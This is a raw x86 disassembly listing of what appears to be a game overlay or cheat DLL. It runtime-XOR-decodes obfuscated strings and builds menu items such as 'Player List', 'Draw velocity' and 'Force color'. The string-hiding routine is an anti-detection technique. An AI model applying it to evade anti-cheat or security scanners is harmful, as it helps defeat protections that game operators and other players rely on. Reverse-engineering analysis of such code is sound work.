movups xmmword [esp + 0x638], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10101437
sub ecx, edx
lea eax, [esp + 0x1a4]
push ecx
push eax
lea ecx, [esp + 0x640]
call fcn.10027940
cmp dword [esp + 0x64c], 0xf
lea ecx, [esp + 0x638]
mov edx, esi
cmova ecx, dword [esp + 0x638]
call fcn.1016d3d0
mov ecx, dword [esp + 0x64c]
cmp ecx, 0xf
jbe 0x101014af
mov edx, dword [esp + 0x638]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x101014a5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov ax, word [0x101ee168]
movq xmm0, qword [0x101ee160]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x648], 0
mov dword [esp + 0x64c], 0xf
mov byte [esp + 0x638], 0
movq qword [esp + 0x4dc], xmm0
mov word [esp + 0x4e4], ax
test ah, ah
je 0x1010152c
xor ebx, ebx
nop dword [eax + eax]
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x4dc], cl
inc ebx
cmp ebx, 0xa
jl 0x10101500
xorps xmm0, xmm0
mov dword [esp + 0x660], 0
lea ecx, [esp + 0x4dc]
mov dword [esp + 0x664], 0
movups xmmword [esp + 0x650], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10101557
sub ecx, edx
lea eax, [esp + 0x4dc]
push ecx
push eax
lea ecx, [esp + 0x658]
call fcn.10027940
cmp dword [esp + 0x664], 0xf
lea ecx, [esp + 0x650]
lea edx, [esi + 0x3657]
cmova ecx, dword [esp + 0x650]
call fcn.1016d3d0
mov ecx, dword [esp + 0x664]
cmp ecx, 0xf
jbe 0x101015d3
mov edx, dword [esp + 0x650]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x101015c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov eax, dword [0x101ee938]
movq xmm0, qword [0x101ee930]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x2c0], eax
mov ax, word [0x101ee93c]
mov dword [esp + 0x660], 0
mov dword [esp + 0x664], 0xf
mov byte [esp + 0x650], 0
movq qword [esp + 0x2b8], xmm0
mov word [esp + 0x2c4], ax
test ah, ah
je 0x1010177d
xor eax, eax
mov dword [esp + 0x14], eax
cmp edi, 2
jl 0x10101745
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101ee930]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x2b8], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x2bc]
xorps xmm1, xmm0
movd dword [esp + 0x2bc], xmm1
mov ebx, dword [esp + 0x14]
nop dword [eax]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x2b8], cl
inc ebx
cmp ebx, 0xe
jl 0x10101750
xorps xmm0, xmm0
mov dword [esp + 0x4bc], 0
lea ecx, [esp + 0x2b8]
mov dword [esp + 0x4c0], 0
movups xmmword [esp + 0x4ac], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x101017a8
sub ecx, edx
lea eax, [esp + 0x2b8]
push ecx
push eax
lea ecx, [esp + 0x4b4]
call fcn.10027940
cmp dword [esp + 0x4c0], 0xf
lea ecx, [esp + 0x4ac]
lea edx, [esi + 0x365a]
cmova ecx, dword [esp + 0x4ac]
call fcn.1016d3d0
mov ecx, dword [esp + 0x4c0]
cmp ecx, 0xf
jbe 0x10101824
mov edx, dword [esp + 0x4ac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1010181a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov eax, dword [0x101ef08c]
mov esi, dword [0x10224ca0]
movq xmm0, qword [0x101ef084]
add esi, 0x365b
mov dword [esp + 0x140], eax
mov al, byte [0x101ef090]
mov byte [esp + 0x144], al
xor eax, eax
movq qword [esp + 0x138], xmm0
mov byte [esp + 0x4ac], 0
mov dword [esp + 0x4c0], 0xf
mov dword [esp + 0x4bc], 0
mov dword [esp + 0x14], eax
cmp edi, 2
jl 0x10101992
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101ef084]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x138], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x13c]
xorps xmm1, xmm0
movd dword [esp + 0x13c], xmm1
mov ebx, dword [esp + 0x14]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x138], cl
inc ebx
cmp ebx, 0xd
jl 0x10101996
xorps xmm0, xmm0
mov dword [esp + 0x678], 0
lea ecx, [esp + 0x138]
mov dword [esp + 0x67c], 0
movups xmmword [esp + 0x668], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x101019f0
sub ecx, edx
lea eax, [esp + 0x138]
push ecx
push eax
lea ecx, [esp + 0x670]
call fcn.10027940
cmp dword [esp + 0x67c], 0xf
lea ecx, [esp + 0x668]
mov edx, esi
cmova ecx, dword [esp + 0x668]
call fcn.1016d3d0
mov ecx, dword [esp + 0x67c]
cmp ecx, 0xf
jbe 0x10101a68
mov edx, dword [esp + 0x668]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10101a5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov esi, dword [0x103501f8]
mov dword [esp + 0x678], 0
mov dword [esp + 0x67c], 0xf
mov byte [esp + 0x668], 0
mov eax, dword [esi + 0x1bec]
cmp dword [esi + 0x1d54], eax
jne 0x10101aaa
mov dword [esi + 0x1e58], eax
mov dword [esi + 0x1e5c], 2
test dword [eax + 8], 0x1000000
je 0x10101aba
mov byte [esi + 0x1b9e], 1
call fcn.1015b580
mov byte [esi + 0x1b9e], 0
mov ecx, dword [0x103501f8]
xor edx, edx
mov eax, dword [ecx + 0x1bec]
dec dword [eax + 0xe0]
mov esi, dword [ecx + 0x1bec]
mov ecx, dword [esi + 0xe0]
add esi, 0xe0
mov eax, dword [esi + 8]
push dword [eax + ecx*4 - 4]
mov ecx, str.Player_List
call fcn.101501c0
mov edi, dword [esi + 4]
mov ecx, dword [esi]
mov dword [esp + 0x14], eax
cmp ecx, edi
jne 0x10101b2c
inc ecx
test edi, edi
je 0x10101b1a
mov eax, edi
cdq
sub eax, edx
sar eax, 1
add eax, edi
jmp 0x10101b1f
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.100be2b0
mov eax, dword [esi + 8]
mov ecx, dword [esi]
mov edx, dword [esp + 0x14]
mov dword [eax + ecx*4], edx
inc dword [esi]
cmp byte [0x101ee893], 0
movq xmm0, qword [str.__SJQG]
mov eax, dword [0x101ee890]
mov esi, dword [0x10224ca0]
mov edi, dword [0x10225d40]
movq qword [esp + 0x3bc], xmm0
mov dword [esp + 0x3c4], eax
je 0x10101cbd
xor eax, eax
mov dword [esp + 0x14], eax
cmp edi, 2
jl 0x10101c8b
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.__SJQG]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x3bc], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x3c0]
xorps xmm1, xmm0
movd dword [esp + 0x3c0], xmm1
mov ebx, dword [esp + 0x14]
nop
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x3bc], cl
inc ebx
cmp ebx, 0xc
jl 0x10101c90
lea edx, [esi + 0x3764]
lea ecx, [esp + 0x3bc]
call fcn.1016d3d0
mov ecx, dword [0x103501f8]
mov eax, dword [ecx + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [ecx + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x10101d39
movss xmm0, dword [ecx + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
push 1
push 0
lea edx, [esp + 0x74]
mov dword [esp + 0x74], 0
mov ecx, 0x101ec3bc
mov dword [esp + 0x78], 0
call fcn.1016bb30
test al, al
je 0x10101dad
mov esi, dword [0x103501f8]
xor edx, edx
mov eax, dword [esi + 0x1bec]
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x10101d95
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x10101da4
mov byte [esi + 0x1c60], 1
xor edx, edx
mov ecx, eax
call fcn.1015d1c0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1d30]
cmp eax, dword [esi + 0x1d3c]
jg 0x10101dd0
mov dword [esi + 0x1c74], 0
jmp 0x101020e2
mov eax, dword [esi + 0x1bec]
xor edx, edx
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x10101e00
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x10101e0f
mov byte [esi + 0x1c60], 1
mov edx, 0x141
mov ecx, eax
call fcn.1015d500
test al, al
je 0x101020e2
movq xmm0, qword [str.cEWRY]
xor ebx, ebx
mov al, byte [0x101ee174]
mov esi, dword [0x10224ca0]
movq qword [esp + 0x514], xmm0
mov byte [esp + 0x51c], al
nop dword [eax + eax]
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x514], cl
inc ebx
cmp ebx, 9
jl 0x10101e50
lea edx, [esi + 0x3765]
lea ecx, [esp + 0x514]
call fcn.1016d3d0
mov eax, dword [0x101efab8]
xor edx, edx
mov esi, dword [0x10224ca0]
mov dword [esp + 0x148], eax
mov al, byte [0x101efabc]
mov byte [esp + 0x14c], al
mov dword [esp + 0x10], edx
mov eax, 0x1f7047dd
mul edx
mov eax, dword [esp + 0x10]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 0x10]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x148], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 5
jl 0x10101eb2
lea edx, [esi + 0x3766]
lea ecx, [esp + 0x148]
call fcn.1016d3d0
mov eax, dword [str.gX_4]
xor ebx, ebx
mov esi, dword [0x10224ca0]
mov dword [esp + 0x124], eax
mov al, byte [0x101efce0]
mov byte [esp + 0x128], al
nop word [eax + eax]
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x124], cl
inc ebx
cmp ebx, 5
jl 0x10101f20
lea edx, [esi + 0x3767]
lea ecx, [esp + 0x124]
call fcn.1016d3d0
mov eax, dword [str.xTS___6]
xor edx, edx
mov esi, dword [0x10224ca0]
mov dword [esp + 0x1d0], eax
mov ax, word [0x101ef5b4]
mov word [esp + 0x1d4], ax
mov al, byte [0x101ef5b6]
mov byte [esp + 0x1d6], al
mov dword [esp + 0x10], edx
mov eax, 0x1f7047dd
mul edx
mov eax, dword [esp + 0x10]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 0x10]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x1d0], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 7
jl 0x10101f90
lea edx, [esi + 0x3769]
lea ecx, [esp + 0x1d0]
call fcn.1016d3d0
mov eax, dword [0x101eeff8]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x1e0], eax
mov ax, word [0x101eeffc]
mov word [esp + 0x1e4], ax
test ah, ah
je 0x1010202c
xor ebx, ebx
nop
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x1e0], cl
inc ebx
cmp ebx, 6
jl 0x10102000
lea edx, [esi + 0x376a]
lea ecx, [esp + 0x1e0]
call fcn.1016d3d0
mov eax, dword [str.VM5]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x1e8], eax
mov ax, word [0x101ee7d8]
mov word [esp + 0x1ec], ax
test ah, ah
je 0x10102090
xor ebx, ebx
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x1e8], cl
inc ebx
cmp ebx, 6
jl 0x10102064
lea edx, [esi + 0x3768]
lea ecx, [esp + 0x1e8]
call fcn.1016d3d0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
cmp dword [esi + 0x1d54], eax
jne 0x101020c6
mov dword [esi + 0x1e58], eax
mov dword [esi + 0x1e5c], 2
test dword [eax + 8], 0x1000000
je 0x101020d6
mov byte [esi + 0x1b9e], 1
call fcn.1015b580
mov byte [esi + 0x1b9e], 0
mov eax, dword [0x103501f8]
mov eax, dword [eax + 0x1bec]
dec dword [eax + 0xe0]
mov ecx, dword [0x103501f8]
mov eax, dword [ecx + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [ecx + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x1010215d
movss xmm0, dword [ecx + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
mov eax, dword [0x101eebe0]
movq xmm0, qword [0x101eebd8]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x438], eax
mov ax, word [0x101eebe4]
movq qword [esp + 0x430], xmm0
mov word [esp + 0x43c], ax
test ah, ah
je 0x101022e2
xor eax, eax
mov dword [esp + 0x14], eax
cmp edi, 2
jl 0x101022b1
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101eebd8]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x430], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x434]
xorps xmm1, xmm0
movd dword [esp + 0x434], xmm1
mov ebx, dword [esp + 0x14]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x430], cl
inc ebx
cmp ebx, 0xe
jl 0x101022b5
lea edx, [esi + 0x37d8]
lea ecx, [esp + 0x430]
call fcn.1016d3d0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [esi + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x1010235e
movss xmm0, dword [esi + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
mov esi, dword [esi + 0x1bec]
xor edx, edx
add esi, 0xe0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
push dword [eax + ecx*4 - 4]
mov ecx, str.Draw_velocity
call fcn.101501c0
mov edi, dword [esi + 4]
mov ecx, dword [esi]
mov dword [esp + 0x14], eax
cmp ecx, edi
jne 0x101023ae
inc ecx
test edi, edi
je 0x1010239c
mov eax, edi
cdq
sub eax, edx
sar eax, 1
add eax, edi
jmp 0x101023a1
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.100be2b0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
mov edx, dword [esp + 0x14]
push 1
push 0
mov dword [eax + ecx*4], edx
lea edx, [esp + 0x1c]
inc dword [esi]
mov ecx, 0x101ec3bc
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call fcn.1016bb30
test al, al
je 0x10102430
mov esi, dword [0x103501f8]
xor edx, edx
mov eax, dword [esi + 0x1bec]
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x10102418
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x10102427
mov byte [esi + 0x1c60], 1
xor edx, edx
mov ecx, eax
call fcn.1015d1c0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1d30]
cmp eax, dword [esi + 0x1d3c]
jg 0x10102453
mov dword [esi + 0x1c74], 0
jmp 0x1010258e
mov eax, dword [esi + 0x1bec]
xor edx, edx
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x10102483
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x10102492
mov byte [esi + 0x1c60], 1
mov edx, 0x141
mov ecx, eax
call fcn.1015d500
test al, al
je 0x1010258e
push 0
push str._.3f
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0x3f800000
push eax
mov eax, dword [0x10224ca0]
mov edx, 8
add eax, 0x37dc
mov ecx, str.Position
push eax
call fcn.10170bf0
push 0
push str._.3f
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0x3f800000
push eax
mov eax, dword [0x10224ca0]
mov edx, 8
add eax, 0x37e0
mov ecx, str.Alpha
push eax
call fcn.10170bf0
mov eax, dword [0x10224ca0]
push 0
push 0
push 0
lea ecx, [eax + 0x37f9]
push ecx
lea ecx, [eax + 0x37f4]
push ecx
lea ecx, [eax + 0x37f8]
push ecx
push 0
lea edx, [eax + 0x37e4]
mov ecx, str.Force_color
call fcn.100be720
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
cmp dword [esi + 0x1d54], eax
jne 0x10102572
mov dword [esi + 0x1e58], eax
mov dword [esi + 0x1e5c], 2
test dword [eax + 8], 0x1000000
je 0x10102582
mov byte [esi + 0x1b9e], 1
call fcn.1015b580
mov byte [esi + 0x1b9e], 0
mov eax, dword [0x103501f8]
xor edx, edx
mov dword [esp + 0x10], edx
mov eax, dword [eax + 0x1bec]
dec dword [eax + 0xe0]
mov esi, dword [0x10224ca0]
movups xmm0, xmmword [str.TKQ_TDS]
mov al, byte [0x101ee110]
add esi, 0x37fc
cmp dword [0x10225d40], 2
movups xmmword [esp + 0x2a4], xmm0
mov byte [esp + 0x2b4], al
jl 0x10102714
movaps xmm0, xmmword [0x101f8ee0]
movaps xmm4, xmmword [0x101f8d60]
movaps xmm3, xmmword [0x101f9240]
movaps xmm5, xmmword [0x101f8e30]
movaps xmmword [esp + 0x20], xmm0
mov ecx, dword [esp + 0x20]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x2a4]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x2a4], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x2a8]
xorps xmm1, xmm0
movd dword [esp + edx + 0x2a8], xmm1
add edx, 8
cmp edx, 0x10
jl 0x10102600
mov dword [esp + 0x10], edx
cmp edx, 0x11
jge 0x1010274b
mov eax, 0x8fb823ef
imul edx
add edx, dword [esp + 0x10]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x2a4], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x11
jl 0x10102714
mov edx, esi
lea ecx, [esp + 0x2a4]
call fcn.1016d3d0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [esi + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x101027c3
movss xmm0, dword [esi + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
